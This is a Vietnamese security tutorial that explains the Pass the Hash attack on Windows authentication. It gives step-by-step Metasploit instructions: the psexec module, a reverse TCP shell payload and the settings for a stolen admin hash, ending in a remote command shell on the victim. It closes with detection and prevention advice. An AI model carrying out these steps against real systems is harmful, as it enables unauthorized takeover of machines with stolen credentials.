Trong bài này chúng tôi sẽ giới thiệu cho các
bạn về kỹ thuật tấn công Pass the Hash và minh chứng quá trình được sử
dụng để lấy các hash mật khẩu bị đánh cắp và sử dụng chúng thành công mà
không cần phải crack nội dung đã được ẩn giấu của chúng.
Là một chuyên gia bảo mật, bạn chắc chắn tập trung
rất nhiều vào việc bảo đảm cho các chính sách mật khẩu đủ phức tạp nhằm
bảo vệ các mật khẩu không bị crack bởi các cá nhân với các ý định hiểm
độc. Trước đây Quantrimang.com của chúng tôi đã giới thiệu cho các bạn
một bài viết gồm có hai phần giới thiệu về sự phức tạp của mật khẩu
Windows và cách chúng có thể bị crack như thế nào:Mật khẩu Windows có thể bị crack như thế nào. Trong bài này chúng tôi
đã cung cấp cho các bạn một kiến thức tổng quan về cách các mật khẩu
được hash, được lưu và cách kẻ tấn công có thể bẻ khóa các mật khẩu này
như thế nào.
Điều gì sẽ xảy ra nếu chúng tôi nói cho bạn rằng với
các trường hợp đã cho, thậm chí không cần crack các mật khẩu của bạn mà
vẫn có thể tăng quyền truy cập vào hệ thống như thể đang sử dụng
username và password của bạn? Không ám chỉ đến một số khai thác 0-day đã
được cải tiến hay các mẹo lừa bạn kích vào một liên kết nào đó trong
email giả mạo mà nó có thể được thực hiện hết sức đơn giản với kỹ thuật
mang tên Pass the Hash. Trong bài viết này, chúng tôi
sẽ giới thiệu cho các bạn về kỹ thuật này làm việc như thế nào, minh
chứng quá trình được sử dụng để lấy các hash mật khẩu bị đánh cắp và sử
dụng chúng thành công mà không cần crack nội dung đã được ẩn giấu của
chúng. Một vấn đề bao giờ cũng được nói đến nữa đó là, chúng tôi sẽ giới
thiệu một số kỹ thuật phát hiện và phòng chống theo cách có thể ngăn
chặn việc bạn trở thành nạn nhân của tấn công này.
Hash mức gói dữ liệu
Bất cứ khi nào bạn tạo một mật khẩu cho một tài khoản
nào đó trong Windows, nó sẽ biến đổi mật khẩu đó thành một hash. Một
hash là kết quả của quá trình mã hóa được thực hiện bằng cách lấy một
chuỗi dữ liệu với kích thước tùy tiện, sau đó thực hiện mã hóa toán học
cho chuỗi dữ liệu này, kết quả trả về là một chuỗi với kích thước cố
định nào đó. Kết quả cuối cùng thay vì có một mật khẩu "PassWord123”,
bạn sẽ có chuỗi mật khẩu "94354877D5B87105D7FEC0F3BF500B33”. Điều này có
một số ý nghĩa. Trước tiên, nó có nghĩa rằng mật khẩu của bạn không nằm
trên ổ cứng cục bộ được lưu dưới dạng văn bản trong sáng, nơi bất cứ ai
cũng có thể truy cập nó, thứ hai là mật khẩu của bạn không được truyền
đi qua mạng dưới định dạng văn bản trong sáng khi bạn nhận thực thiết bị
khác (chẳng hạn như domain controller). Chúng tôi sẽ không rehash cách
các hash được tạo như thế nào trong bài viết này, tuy nhiên nếu bạn muốn
xem lại quá trình này làm việc như thế nào, bạn có thể tham khảo lại
bài viết về cách crack mật khẩu Windows tại
đây.
Khi cố gắng truy cập vào một tài nguyên nào đó trên
máy tính được bảo vệ bằng biện pháp nhận thực username và password, bạn
sẽ gặp khó khăn về vấn đề nhận thực bởi host. Về cơ bản, bạn cần cung
cấp username và password. Khi đánh vào mật khẩu, máy tính của bạn sẽ
thực hiện hành động hash trên mật khẩu và đệ trình nó tới host để nó sau
đó sẽ được so sánh với cơ sở dữ liệu nhận thực. Nếu kết quả tương xứng,
bạn sẽ truy cập thành công.
Hình 1: Cố gắng kết nối dựa trên sự nhận thực
thông thường
Giờ đây chúng ta hãy đi xem xét một kịch bản khác.
Điều gì sẽ xảy ra khi thiết lập thủ công một kết nối tới host có tài
nguyên mà chúng ta muốn truy cập, tuy nhiên thay vì cung cấp cho nó
username và password không có đặc quyền, chúng ta cung cấp lại cung cấp
username của Administrator và administrator hash mà chúng ta đã đánh
cắp? Cần nhớ rằng, tất cả những gì ở đây host quan tâm là việc nhận một
hash tương ứng với những gì nó mong đợi. Điều đó có nghĩa rằng bạn không
phải thực hiện chức năng hash một chiều trên mật khẩu mà chỉ cần cung
cấp hash, đó cũng là những gì cơ bản nhất cho tấn công này.
Hình 2: Pass the hash trực tiếp host đích
Sử dụng Metasploit để
Pass the Hash
Chúng tôi đã giới thiệu cho các bạn lý thuyết nằm
phía sau tấn công còn giờ đây là lúc thực thi nó. Trong thử nghiệm này,
chúng tôi sẽ pass một hash đánh cắp của một người dùng có đặc quyền quản
trị viên vào một hệ thống nạn nhân. Để thực hiện nhiệm vụ này, chúng ta
cần hai thứ. Đầu tiên, chúng ta cần một hash đánh cắp của người dùng
quản trị. Có nhiều phương pháp khác nhau để có thể thu được hash mật
khẩu, bạn có thể tham khảo các cách thực hiện tại
đây. Cùng với hash đánh cắp, chúng ta cần một copy Metasploit, đây
là một công cụ mà chúng ta sẽ sử dụng để thực hiện tấn công này.
Metasploit là một framework dành cho việc thử nghiệm
sự thâm nhập (miễn phí) được phát triển bởi HD Moore, hiện nay là của
Rapid7. Bạn có thể download Metasploit về máy tại đây.
Một cách khác, bạn có thể download và sử dụng
Backtrack 4. BT4 là một phân phối Linux live-CD được thiết kế đặc biệt
cho việc hack và test sự thâm nhập đi kèm với vô số công cụ cài đặt và
biên dịch trước, trong đó có cả Metasploit. Bạn có thể download BT4 tại đây. Sau
khi download về máy, bạn sẽ tìm thấy Metasploit trong thư mục
/pentest/exploit/framework3. Các hình ví dụ được sử dụng trong phần còn
lại của bài viết này được lấy từ BT4.
Với hash đánh cắp và Metasploit trong tay, chúng ta
sẽ bắt đầu chuẩn bị cho việc tấn công. Để bắt đầu, bạn phải khởi chạy
giao diện điều khiển Metasploit. Trong BT4, bạn có thể thực hiện bằng
cách duyệt đến thư mục /pentest/exploit/framework3 và
đánh ./msfconsole.
Hình 3: Khởi chạy giao diện Metasploit
Metasploit là một framework, phụ thuộc vào việc sử
dụng các modul khác nhau để thực hiện các hành động của nó. Trong trường
hợp này, chúng ta sẽ sử dụng modul psexec. Psexec là
một công cụ rất phổ biến và được sử dụng để thực thi các quá trình trên
hệ thống từ xa và redirect đầu ra của các quá trình đó trở lại hệ thống
mà bạn đang sử dụng. Để sử dụng modul này, đánh use
windows\smb\psexec và nhấn Enter. Shell sẽ
nhắc bạn thay đổi sao cho tương ứng với việc sử dụng modul này.
Hình 4: Sử dụng modul psexec
Tiếp đến chúng ta cần thiết lập tải trọng đang phân
phối. Metasploit sẽ mở một kết nối cơ bản đến nạn nhân của chúng ta để
khi username và hash đã cung cấp cho chúng ta sự nhận thực đúng cách,
tải trọng sẽ phát hiện những gì đang được thực thi bằng cách sử dụng
psexec. Trong trường hợp này, chúng ta có tất thực hiện tất cả các kiểu ý
định xấu đối với nạn nhân thay vì mở một chương trình gì đó. Một trong
các phương pháp hiệu quả cho việc thực hiện là sử dụng một TCP shell
ngược. Đây là tải trọng sẽ thực thi một instance của cmd.exe và chuyển
nó trở lại qua kết nối của chúng ta để từ đó chúng ta có thể truy cập nó
từ xa. Để sử dụng tải trọng này, đánh set payload
windows/shell_reverse_tcp.
Hình 5: Thiết lập tải trọng cho TCP shell ngược
Để sử dụng modul và tải trọng này, có một vài tùy
chọn mà chúng ta cần phải cấu hình. Để thấy các tùy chọn, bạn có thể
đánh vào một số tùy chọn được hiển thị và nhấn Enter.
Hình 6: Các tùy chọn có thể cấu hình cho modul và
tải trọng hiện hành
Để thiết lập các tùy chọn cần thiết cho công việc của
mình, chúng ta cần sử dụng cú pháp "set [option name] [value]”.
Các giá trị cần được thiết lập:
- RHOST – Địa chỉ IP của nạn nhân
- SMBPass – Hash đánh cắp của nạn nhân
- SMBUser – Username của nạn nhân
- LHOST – Địa chỉ IP của máy tính đang tấn công của bạn
Trong hầu hết các trường hợp, chỉ có bốn tùy chọn cần
được cấu hình, còn các tùy chọn khác có thể để mặc định. Khi cấu hình
tất cả các tùy chọn này, đầu ra các tùy chọn sẽ tương đồng như những gì
trong hình 7:
Hình 7: Các tùy chọn hoàn chỉnh cho tấn công này
Tại đây, tất cả sự chuẩn bị đã đầy đủ và chúng ta có
thể thực thi tấn công. Để thực hiện tấn công, hãy đánh exploit
và nhấn Enter. Nếu thành công, bạn sẽ thấy màn hình
tương tự như đầu ra hiển thị trong hình 8, một Windows command shell.
Lúc này chúng ta có thể điều khiển máy tính mà không cần biết mật khẩu
của người dùng quản trị.
Hình 8: Khai thác thành công cho chúng ta một
Windows command shell
Phòng chống Pass the
Hash
Pass the hash là một hành động rất khó phát hiện và
ngăn chặn do bản tính của cách nó khai thác quá trình nhận thực. Có một
số thứ bạn có thể thực hiện:
- Kiểm tra hệ thống phát hiện xâm nhập – Từ phối
cảnh của một IDS, bạn chắc chắn không thể bắt được tấn công đang thực
hiện pass the hash vì nó hầu như giống một chuỗi nhận thực thông thường.
Mặc dù vậy vẫn có thể thành công trong việc bắt kẻ tấn công dựa trên
các hành động được thực hiện sau khi chúng tăng quyền truy cập. Cho ví
dụ, trong kịch bản ví dụ, bạn chắc chắn sẽ không thấy IDS cảnh báo về
việc pass của hash đối với máy tính nạn nhân, tuy nhiên bạn sẽ thấy một
cảnh báo khi psexec tạo một shell và gửi nó trở lại qua mạng. Điều này
cho phép bạn có thể phát hiện tấn công khi xảy ra và đáp trả thích hợp
với vụ việc.
- Cách ly các hệ thống nhạy cảm – Tất cả các máy
tính đều được cho là có chứa dữ liệu nhạy cảm cần được cách ly trong
mạng. Sử dụng cấu hình router và firewall thích hợp bạn có thể hạn chế
sự truy cập vào các máy tính chứa dữ liệu nhạy cảm này, chỉ dành cho nó
các host tin cậy. Điều này sẽ ngăn chặn được người dùng trên các máy
tính khác có thể sử dụng kỹ thuật pass the hash để tăng quyền truy cập
vào hệ thống nhạy cảm.
- Nhận thực hai hệ số - Sử dụng mật khẩu là
phương pháp nhận thực duy nhất đang trở thành lỗi thời. Để nhận thực
người dùng tốt hơn, nó cần phải gồm có hai đến ba hệ số. Các hệ số này
là những thứ bạn biết (mật khẩu), thứ gì đó bạn có (thẻ thông minh) và
thêm vào đó là một số thứ như (võng mạc, dấu vân tay). Sự kết hợp các
yếu tố trên sẽ tránh người dùng có thể nhận thực một hệ thống khi họ chỉ
có mật khẩu và hash đánh cắp.
- Hạn chế truy cập quản trị - Càng nhiều tài
khoản người dùng có mức truy cập quản trị vào hệ thống mạng, khi đó khả
năng các hash của họ bị đánh cắp và được sử dụng để truy cập vào các máy
tính với một mức đặc quyền càng cao. Để tránh điều đó, bạn luôn cần
thực hiện hành động thẩm định để phát hiện xem mỗi người dùng có truy
cập mức quản trị có quả thực cần nó để hạn chế bề mặt tấn công của mình.
Kết luận
Pass the hash là một kỹ thuật rất dễ thực hiện và rất
hiểm độc cho nạn nhân. Như những gì bạn đã thấy qua bài này, tất cả
những gì cần để thực hiện tấn công này là một cặp công cụ và một chút
động cơ, khi đó kẻ tấn công có tất cả những gì hắn cần để làm tê liệt cơ
sở hạ tầng của bạn. Hy vọng với sự hiểu biết về tấn công này và một số
chiến lược phát hiện cũng như ngăn chặn mà chúng ta đã thảo luận, bạn sẽ
chuẩn bị một cách chu đáo hơn để phòng chống và đáp trả với kiểu tấn
này.
|